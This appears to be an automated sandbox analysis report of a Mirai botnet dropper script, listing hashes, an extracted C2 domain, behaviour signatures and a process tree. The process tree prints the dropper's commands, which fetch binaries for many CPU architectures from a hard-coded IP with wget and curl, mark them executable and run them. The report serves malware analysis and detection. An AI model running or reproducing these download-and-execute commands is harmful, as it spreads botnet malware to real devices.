Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15-11-2024 03:57

General

  • Target

    zeros6x.sh

  • Size

    2KB

  • MD5

    642df6d1dacbef4e6df51eb185893408

  • SHA1

    b5536f3af73f31a31bda2bbf6467a28eb14bd50a

  • SHA256

    c58d8c70b82f2ecb99af380bd00a926428a5883dc910edc92dea36c44bce8eab

  • SHA512

    7deb4c9a41575f1f0092b9430909ce93ccd7273f8900b4dafbd750cbe5926d559a6666dc629611de0db4a33a5c8ab5c9811a783835ae87479f02f45fdfb8a629

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

C2

server.myway-ing.win

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

C2

server.myway-ing.win

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Writes file to system bin folder 4 IoCs
  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/zeros6x.sh
    /tmp/zeros6x.sh
    1⤵
    • Writes file to tmp directory
    PID:655
    • /usr/bin/wget
      wget http://154.216.16.71/zmap.x86
      2⤵
      • Writes file to tmp directory
      PID:661
    • /usr/bin/curl
      curl -O http://154.216.16.71/zmap.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:676
    • /bin/cat
      cat zmap.x86
      2⤵
        PID:685
      • /bin/chmod
        chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:687
      • /tmp/WTH
        ./WTH ssh.x86
        2⤵
        • Executes dropped EXE
        PID:688
      • /usr/bin/wget
        wget http://154.216.16.71/zmap.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:691
      • /usr/bin/curl
        curl -O http://154.216.16.71/zmap.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:693
      • /bin/cat
        cat zmap.mips
        2⤵
        • System Network Configuration Discovery
        PID:694
      • /bin/chmod
        chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.mips zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:695
      • /tmp/WTH
        ./WTH ssh.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:696
      • /usr/bin/wget
        wget http://154.216.16.71/zmap.mpsl
        2⤵
        • Writes file to tmp directory
        PID:698
      • /usr/bin/curl
        curl -O http://154.216.16.71/zmap.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:701
      • /bin/cat
        cat zmap.mpsl
        2⤵
          PID:708
        • /bin/chmod
          chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.mips zmap.mpsl zmap.x86
          2⤵
          • File and Directory Permissions Modification
          PID:709
        • /tmp/WTH
          ./WTH ssh.mpsl
          2⤵
          • Executes dropped EXE
          PID:710
        • /usr/bin/wget
          wget http://154.216.16.71/zmap.arm
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://154.216.16.71/zmap.arm
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:719
        • /bin/cat
          cat zmap.arm
          2⤵
            PID:724
          • /bin/chmod
            chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.mips zmap.mpsl zmap.x86
            2⤵
            • File and Directory Permissions Modification
            PID:725
          • /tmp/WTH
            ./WTH ssh.arm
            2⤵
            • Deletes itself
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Changes its process name
            PID:727
          • /usr/bin/wget
            wget http://154.216.16.71/zmap.arm5
            2⤵
            • Writes file to tmp directory
            PID:729
          • /usr/bin/curl
            curl -O http://154.216.16.71/zmap.arm5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:735
          • /bin/cat
            cat zmap.arm5
            2⤵
              PID:740
            • /bin/chmod
              chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
              2⤵
              • File and Directory Permissions Modification
              PID:742
            • /tmp/WTH
              ./WTH ssh.arm5
              2⤵
              • Executes dropped EXE
              PID:743
            • /usr/bin/wget
              wget http://154.216.16.71/zmap.arm6
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://154.216.16.71/zmap.arm6
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:749
            • /bin/cat
              cat zmap.arm6
              2⤵
                PID:757
              • /bin/chmod
                chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
                2⤵
                • File and Directory Permissions Modification
                PID:759
              • /tmp/WTH
                ./WTH ssh.arm6
                2⤵
                • Executes dropped EXE
                PID:760
              • /usr/bin/wget
                wget http://154.216.16.71/zmap.arm7
                2⤵
                • Writes file to tmp directory
                PID:761
              • /usr/bin/curl
                curl -O http://154.216.16.71/zmap.arm7
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:767
              • /bin/cat
                cat zmap.arm7
                2⤵
                  PID:768
                • /bin/chmod
                  chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:769
                • /tmp/WTH
                  ./WTH ssh.arm7
                  2⤵
                  • Deletes itself
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  PID:770
                • /usr/bin/wget
                  wget http://154.216.16.71/zmap.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /usr/bin/curl
                  curl -O http://154.216.16.71/zmap.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:804
                • /bin/cat
                  cat zmap.ppc
                  2⤵
                    PID:806
                  • /bin/chmod
                    chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:807
                  • /tmp/WTH
                    ./WTH ssh.ppc
                    2⤵
                    • Executes dropped EXE
                    PID:808
                  • /usr/bin/wget
                    wget http://154.216.16.71/zmap.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /usr/bin/curl
                    curl -O http://154.216.16.71/zmap.m68k
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:812
                  • /bin/cat
                    cat zmap.m68k
                    2⤵
                      PID:813
                    • /bin/chmod
                      chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:814
                    • /tmp/WTH
                      ./WTH ssh.m68k
                      2⤵
                      • Executes dropped EXE
                      PID:815
                    • /usr/bin/wget
                      wget http://154.216.16.71/zmap.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:817
                    • /usr/bin/curl
                      curl -O http://154.216.16.71/zmap.spc
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:818
                    • /bin/cat
                      cat zmap.spc
                      2⤵
                        PID:819
                      • /bin/chmod
                        chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:820
                      • /tmp/WTH
                        ./WTH ssh.spc
                        2⤵
                        • Executes dropped EXE
                        PID:821
                      • /usr/bin/wget
                        wget http://154.216.16.71/zmap.i686
                        2⤵
                          PID:823
                        • /usr/bin/curl
                          curl -O http://154.216.16.71/zmap.i686
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:824
                        • /bin/cat
                          cat zmap.i686
                          2⤵
                            PID:825
                          • /bin/chmod
                            chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:826
                          • /tmp/WTH
                            ./WTH ssh.i686
                            2⤵
                            • Executes dropped EXE
                            PID:827
                          • /usr/bin/wget
                            wget http://154.216.16.71/zmap.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:828
                          • /usr/bin/curl
                            curl -O http://154.216.16.71/zmap.sh4
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:829
                          • /bin/cat
                            cat zmap.sh4
                            2⤵
                              PID:830
                            • /bin/chmod
                              chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:831
                            • /tmp/WTH
                              ./WTH ssh.sh4
                              2⤵
                              • Executes dropped EXE
                              PID:832
                            • /usr/bin/wget
                              wget http://154.216.16.71/zmap.arc
                              2⤵
                                PID:834
                              • /usr/bin/curl
                                curl -O http://154.216.16.71/zmap.arc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:835
                              • /bin/cat
                                cat zmap.arc
                                2⤵
                                  PID:836
                                • /bin/chmod
                                  chmod +x systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-17t2Xv WTH zeros6x.sh zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:837
                                • /tmp/WTH
                                  ./WTH ssh.arc
                                  2⤵
                                  • Executes dropped EXE
                                  PID:838

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • /tmp/WTH

                                Filesize

                                94KB

                                MD5

                                192b6eb8dcf1ad172064c832fbb47b92

                                SHA1

                                a2af8812f96d0748f3a119a4419ff65dcffb179c

                                SHA256

                                a97f5317845c7053e64d0d8d5e076532de7a2c98189eb7304b8e0e742e61e93d

                                SHA512

                                7ad2efc28832cf1312c00bccf6866669938b0f4787999b7112f750377aa5582b8c508bedba29f482dadceb6a1c3868ce87220cdded44399a1cd325ab9bfd7e9a

                              • /tmp/WTH

                                Filesize

                                94KB

                                MD5

                                b4458e4fa2efcf88bfa2aaeda864519e

                                SHA1

                                8263798736379ed4ce23ef75e4d1f606e05c815b

                                SHA256

                                146ef07d918f77546ba8112e9f307361f9d54af4886dba7fc4ba9e58bc8c5d47

                                SHA512

                                4aa6068f6e3ed09c6706c37f046cd4081a5c7de3e307860e67ff9fff426a281f33dbb027bbcb36b0fd9df6dccd083308d78f43948009ccdcc3676ed4ff063010

                              • /tmp/WTH

                                Filesize

                                74KB

                                MD5

                                8a666a51d2aeb8e106c7c9a302aa3acb

                                SHA1

                                c222cd4760966db8f2461c4dc034f9f3fe912eb2

                                SHA256

                                7b6c76af31adf965e62b5c726ea382825eb5f2aefc7e7331b192e0d4c809fe46

                                SHA512

                                b48dd376f4e801bd6ea3351a1726a45d1b895f25f534d9d211b1023195881211f3b52f02914317899f122d71b88775e912f6092e5fe7d83565b3fd23012a04ac

                              • /tmp/WTH

                                Filesize

                                49KB

                                MD5

                                803219db4e5384144e86c388e558a530

                                SHA1

                                c8cb8ec327c2a53a6a5fa42d8c2886161defff89

                                SHA256

                                0edc353b0bc96801a0a2d654427c9f51991f3500a3a43070d9c5828efadd352e

                                SHA512

                                ccc7ee4ea8f672dd7d8df15e809b6cd9250ec80c0edbd929f0f8ab794c07bcf6ca7aade1f47898348b999f729b1ed6b47d4abed73eb8d2c94eac023fd5cf6332

                              • /tmp/WTH

                                Filesize

                                152KB

                                MD5

                                04bd1585a8ca785193b158d27307e80b

                                SHA1

                                20faf0e3c7f878f134142f71c9f5b7d58ce5ab17

                                SHA256

                                272f6e7e0d6dd601ef8110959bc6907cf4531a87fc3e6a5b3ab7d32d1fa3d2ee

                                SHA512

                                d92b33a37dbd627faaf48ed65f785191ea8fccb104e15801d64160885e6244a7a98bc17ae1a5eb9e0c9d7f4b5f807174c2aff30d7235be4e8a19b271cd1fc2f2

                              • /tmp/zmap.x86

                                Filesize

                                61KB

                                MD5

                                8edb75406d233f4201e85fd2d746c114

                                SHA1

                                79272fc7bf16c8f354efa0b4b59bcdf0f929fa0a

                                SHA256

                                e1f60f41d27140942ad74ef1f1bae26fc98787fed03c91d3c4a33e5390b6d3be

                                SHA512

                                df424a671363b4a9d6480a3210e9b135dfbce80bb9e8af7f2b931c5ba51deb8256d54b505dd418091f03c4139ccec955cc00cfeb1456e791c37d7abb5a1253c5

                              • memory/812-1-0xb66c9000-0xb66da044-memory.dmp

                              • memory/824-2-0xb66b6000-0xb66c7044-memory.dmp